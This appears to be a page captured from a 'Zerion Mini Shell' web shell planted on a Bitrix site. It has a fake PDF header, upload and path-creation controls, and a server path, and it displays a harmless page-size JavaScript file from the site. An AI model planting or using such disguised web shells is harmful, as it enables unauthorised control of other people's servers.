%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/components/bitrix/main.ui.grid/templates/.default/js/
Upload File :
Create Path :
Current File : //home/bitrix/www/bitrix/components/bitrix/main.ui.grid/templates/.default/js/pagesize.js

;(function() {
	'use strict';

	BX.namespace('BX.Grid');

	BX.Grid.Pagesize = function(parent)
	{
		this.parent = null;
		this.init(parent);
	};

	BX.Grid.Pagesize.prototype = {
		init: function(parent)
		{
			this.parent = parent;
			BX.addCustomEvent('Dropdown::change', BX.delegate(this.onChange, this));
		},

		onChange: function(id, event, item, dataValue, value)
		{
			var self = this;

			if (id === this.parent.getContainerId() + '_' + this.parent.settings.get('pageSizeId'))
			{
				if (value >= 0)
				{
					this.parent.tableFade();
					this.parent.getUserOptions().setPageSize(value, function() {
						self.parent.reloadTable();
						BX.onCustomEvent(self.parent.getContainer(), 'Grid::pageSizeChanged', [self.parent]);
					});
				}
			}
		}
	};
})();

Zerion Mini Shell 1.0